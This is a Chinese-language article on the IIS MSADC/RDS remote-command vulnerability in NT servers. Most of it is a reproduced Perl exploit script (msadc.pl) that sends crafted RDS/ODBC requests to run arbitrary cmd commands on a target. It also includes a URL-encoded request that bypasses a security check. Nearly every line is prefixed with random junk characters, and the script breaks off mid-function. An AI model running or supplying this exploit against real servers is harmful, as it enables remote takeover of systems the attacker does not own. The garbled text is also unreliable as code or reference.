IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
R#3zGWr~
W[I$([ 涉及程序:
Tw djBMte Microsoft NT server
h/oun2C (/At+MF3E 描述:
[;yKbw!C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]
)iP?2{ m.rV1#AI 详细:
<THwl/a 如果你没有时间读详细内容的话,就删除:
43E)ltR=] c:\Program Files\Common Files\System\Msadc\msadcs.dll
KTt+}-vP^ 有关的安全问题就没有了。
`-%dHvB^R YO-B|f 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
yKuZJXGVo c0Bqm 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
*+zFsu4l 关于利用ODBC远程漏洞的描述,请参看:
KB^8Z@(+ Z'`\N@c# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xq
)7Im}? q6N{N>-D 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
FAL#p$y} http://www.microsoft.com/security/bulletins/MS99-025faq.asp l?$X.CwX M*bsA/Z 这里不再论述。
-<k)|]8 h^_^)P+; 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
RhKDQGdd EZ{{p+e^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ky7.&6\n 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
WMnSkO s-5#P,Lw (1q(6! #将下面这段保存为txt文件,然后: "perl -x 文件名"
bDIhI}P ~CHcbEWk)W #!perl
-fV\JJ #
S"@6, # MSADC/RDS 'usage' (aka exploit) script
*z6A ~U #
sVFX(yx0 # by rain.forest.puppy
K|\0jd)N #
~:k
r;n2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
AcEz$wy # beta test and find errors!
v FQ]>nX =SuJ* use Socket; use Getopt::Std;
gx^_bHh getopts("e:vd:h:XR", \%args);
cAGM|% AX&Emz- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~3Pp}eO~V KztQT9kY if (!defined $args{h} && !defined $args{R}) {
`KLr!<i() print qq~
-hfkF+=U' Usage: msadc.pl -h <host> { -d <delay> -X -v }
o<p4r}*AVJ -h <host> = host you want to scan (ip or domain)
A@?-"=h} -d <seconds> = delay between calls, default 1 second
(e~9T MY -X = dump Index Server path table, if available
i;/;zG^=_ -v = verbose
Nxl#] -e = external dictionary file for step 5
=bP<cC=3b J E5qR2VA Or a -R will resume a command session
"[k>pzl6 ^8bc<c:P ~; exit;}
%Qb}z@>fJk G9xO>Xp^Al $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u\iKdL if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w;(=wN\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/qwY/^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q(Q?L5
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Wl=yxJu_( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
of7p~{3H A /c
if (!defined $args{R}){ $ret = &has_msadc;
*' es(]W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
DzA'MX G(shZ=fq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=
=Q*|L-g . "cmd /c ";
fWW B]h $in=<STDIN>; chomp $in;
!B#lZjW# $command="cmd /c " . $in ;
p/u 5kWzD'!^ if (defined $args{R}) {&load; exit;}
@].!}tz F\&^(EL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?li/mc.XG &try_btcustmr;
D%?9[Qb <C;TGA print "\nStep 2: Trying to make our own DSN...";
kef%5B &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
xe(7q1 l O* print "\nStep 3: Trying known DSNs...";
-vc$I=b; &known_dsn;
k EAF1RP: iFcSz print "\nStep 4: Trying known .mdbs...";
@x
A^F%( &known_mdb;
/zQx}U)TP 8KkN
"4' if (defined $args{e}){
?UIW&*h} print "\nStep 5: Trying dictionary of DSN names...";
Tj!\SbnA[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/[/{m ] XhWo~zh" print "Sorry Charley...maybe next time?\n";
y0?HZ Xq exit;
m J$[X p/7'r ##############################################################################
Oi$1ma xT [ybK sub sendraw { # ripped and modded from whisker
0Y0`$
sleep($delay); # it's a DoS on the server! At least on mine...
t@+e#3P! my ($pstr)=@_;
4@mJEi{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#(a ;w die("Socket problems\n");
l>BM}hS if(connect(S,pack "SnA4x8",2,80,$target)){
a~JZc<ze select(S); $|=1;
H+gB| print $pstr; my @in=<S>;
L>hLYIW select(STDOUT); close(S);
X2,v'`U5& return @in;
,qV 7$u } else { die("Can't connect...\n"); }}
~-%z:Re'_ _Vt9ckaA ##############################################################################
_PwPLSg :iQJ9Hdz sub make_header { # make the HTTP request
%=s2>vv9 my $msadc=<<EOT
2pSp(@N3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^ AZv4H*~ User-Agent: ACTIVEDATA
T0b/txS Host: $ip
-sDl[ Content-Length: $clen
Dd,
&a Connection: Keep-Alive
={6vShG)m +~
Y.m8 ADCClientVersion:01.06
=W"T=p*j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9 *v14c% =t~]@?]1D --!ADM!ROX!YOUR!WORLD!
fti0Tz' Content-Type: application/x-varg
{`>pigo Content-Length: $reqlen
*`Ge8?qC Pe11azJ EOT
zpNt[F?~1 ; $msadc=~s/\n/\r\n/g;
#0^a-47PA< return $msadc;}
Y10 N>sHT
=_ ##############################################################################
EVLDP\w{ F<*zL:-Z sub make_req { # make the RDS request
B~O<?@]d my ($switch, $p1, $p2)=@_;
3lS1WA my $req=""; my $t1, $t2, $query, $dsn;
DwTVoCC Qdc)S>gp if ($switch==1){ # this is the btcustmr.mdb query
)hVn/*mH $query="Select * from Customers where City=" . make_shell();
+*eVi3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aHitPPlq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i"4;{C{s T7Ju7_q} elsif ($switch==2){ # this is general make table query
a'>n'Y~E $query="create table AZZ (B int, C varchar(10))";
F"23vG>3 $dsn="$p1";}
usi3z9P>n }`76yH^c elsif ($switch==3){ # this is general exploit table query
4:s,e<Tc4v $query="select * from AZZ where C=" . make_shell();
yi -0CHo $dsn="$p1";}
_ vAc/_N tq*6]q8c> elsif ($switch==4){ # attempt to hork file info from index server
]x'd0GH"] $query="select path from scope()";
TeJ=QpGW2 $dsn="Provider=MSIDXS;";}
q$<VLrx \34:]NM elsif ($switch==5){ # bad query
eZg>]<L $query="select";
=&: |a$C $dsn="$p1";}
uj)fah?Wg _]0<G8|Rv $t1= make_unicode($query);
sM9utR $t2= make_unicode($dsn);
4 *.
O% $req = "\x02\x00\x03\x00";
V'K:52 $req.= "\x08\x00" . pack ("S1", length($t1));
bq}`jP~# $req.= "\x00\x00" . $t1 ;
)3 '8T>^<K $req.= "\x08\x00" . pack ("S1", length($t2));
Dh68=F0 $req.= "\x00\x00" . $t2 ;
p@d_Ru $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2=VFUR 8 return $req;}
Y7')~C`up^ [z'jL'\4 ##############################################################################
/3;]e3x VMu?mqEa sub make_shell { # this makes the shell() statement
K}Q:L(SSr\ return "'|shell(\"$command\")|'";}
5YgT*}L+, =9:gW5F69 ##############################################################################
7gRR/&ZK M'pIAm1p sub make_unicode { # quick little function to convert to unicode
Ir Y\Q) my ($in)=@_; my $out;
DyUS^iz~o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
p?4,YV|# return $out;}
l,UOP[j G#1W":|` ##############################################################################
nPjK=o`KR $gCN[%+j sub rdo_success { # checks for RDO return success (this is kludge)
z0|-OCmL my (@in) = @_; my $base=content_start(@in);
_Ec"[xW if($in[$base]=~/multipart\/mixed/){
x-b}S1@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5inCAPXz return 0;}
PlwM3lrj I
|"' ##############################################################################
Qve5qJ eZ
7Atuv sub make_dsn { # this makes a DSN for us
VKSn \HT~ my @drives=("c","d","e","f");
rkz84wDx print "\nMaking DSN: ";
eWr6@ foreach $drive (@drives) {
XR$i:kL,, print "$drive: ";
%Nx,ZD@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Xi w "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
f6{.Uq%SGp . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7R,;/3wWjG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.fS{j$ return 0 if $2 eq "404"; # not found/doesn't exist
!=u=P9I if($2 eq "200") {
apnpy\in foreach $line (@results) {
HmHM#~5(` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I6,||!sZ } return 0;}
$"MGu^0;1 UUF]45t> ##############################################################################
e7plL^^` CY$
1;/ sub verify_exists {
Q% ^_<u my ($page)=@_;
K#VGG,h7Y my @results=sendraw("GET $page HTTP/1.0\n\n");
p$` ^A return $results[0];}
qq@]xdl j3u!lZ}U ##############################################################################
NLUiNfCR j]aIJbi sub try_btcustmr {
F)@zo/u5L my @drives=("c","d","e","f");
5Fbb5`( my @dirs=("winnt","winnt35","winnt351","win","windows");
?yu@eo q Ll4t/p foreach $dir (@dirs) {
O9N+<sU=X print "$dir -> "; # fun status so you can see progress
s4 Vju/ foreach $drive (@drives) {
ac1(lD print "$drive: "; # ditto
\tCK7sBn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_xnJfW_ $reqlenlen=length( "$reqlen" );
6X$nZM|g, $clen= 206 + $reqlenlen + $reqlen;
15%6;K?b ^s$U
n6v[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L=P8; Gj) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%/ :&L+q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
C:f^&4
3 ++ObsWZ ##############################################################################
LxiN9 /UaQ2h\ sub odbc_error {
4w]<1V my (@in)=@_; my $base;
i~*6JB| my $base = content_start(@in);
,'sDauFn if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b{X.lz0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U.ZA%De $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?}EWfsA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p:ZQ*Ue return $in[$base+4].$in[$base+5].$in[$base+6];}
J%fJF//U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
OC\cN%qlw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
% 3fpIzm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ki%)LQAg &v9"lR=_k ##############################################################################
Iv{iJoe;UH y{XNB}E sub verbose {
?q0a^c?A^ my ($in)=@_;
*Tmqs@L return if !$verbose;
E;"VI2F print STDOUT "\n$in\n";}
PE[5oH kHQn'r6 ##############################################################################
/Wdrpv-%,1 )5Cqyp~P sub save {
O.aAa5^uh my ($p1, $p2, $p3, $p4)=@_;
`[ZA#8Ma open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KCqz] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
h,]lN'JG{ close OUT;}
<Zh\6*3:ab 9>_VU"T ##############################################################################
F'_z$,X6 B E#pHg sub load {
qc.9GC my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z,VXH ?.Zo open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j",*&sy @p=<IN>; close(IN);
GW]t~EL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
JBISA _Y $target= inet_aton($ip) || die("inet_aton problems");
[ .3Gb}B print "Resuming to $ip ...";
c{T)31ldW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nYj7r*e[ if($p[1]==1) {
%,d+jBM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>q&e.-qL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U/7jK40 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5+)_d%v=6! if (rdo_success(@results)){print "Success!\n";}
Zh?n;n} else { print "failed\n"; verbose(odbc_error(@results));}}
vTp,j-^ elsif ($p[1]==3){
2J`LZS if(run_query("$p[3]")){
eJEcLK3u print "Success!\n";} else { print "failed\n"; }}
<F|S<\Y. elsif ($p[1]==4){
:[Ie0[H/M if(run_query($drvst . "$p[3]")){
mUiJ@ print "Success!\n"; } else { print "failed\n"; }}
ldG$hk' exit;}
MOIVt) ZY TQ5kT?/{ ##############################################################################
c>C!vAg X)8Edw[?N3 sub create_table {
v/`#Gu^P my ($in)=@_;
C Y)[{r $reqlen=length( make_req(2,$in,"") ) - 28;
V("T9g $reqlenlen=length( "$reqlen" );
R7x*/? $clen= 206 + $reqlenlen + $reqlen;
#;'*W$Wk2 my @results=sendraw(make_header() . make_req(2,$in,""));
hllb\Y)XL return 1 if rdo_success(@results);
2}ywNVS my $temp= odbc_error(@results); verbose($temp);
v)'Uoe"R% return 1 if $temp=~/Table 'AZZ' already exists/;
ZXWm?9uw return 0;}
-}Rh+n` 8sL+ik" ##############################################################################
^ =H 10A XJ3aaMh" sub known_dsn {
cty # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`P;uPQDzZ3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mS]soYTQ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
83{v_M "banner", "banners", "ads", "ADCDemo", "ADCTest");
;{g>Z| A2B]E,JMp foreach $dSn (@dsns) {
PMiG:bM print ".";
cLMFC1=b next if (!is_access("DSN=$dSn"));
LeMo")dk\ if(create_table("DSN=$dSn")){
hQDl&A print "$dSn successful\n";
vn96o]n if(run_query("DSN=$dSn")){
Wt!NLlN8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/6p7k print "Something's borked. Use verbose next time\n";}}} print "\n";}
cA+O]",} $60]RCu ##############################################################################
XN'<H(G 6x!
q sub is_access {
<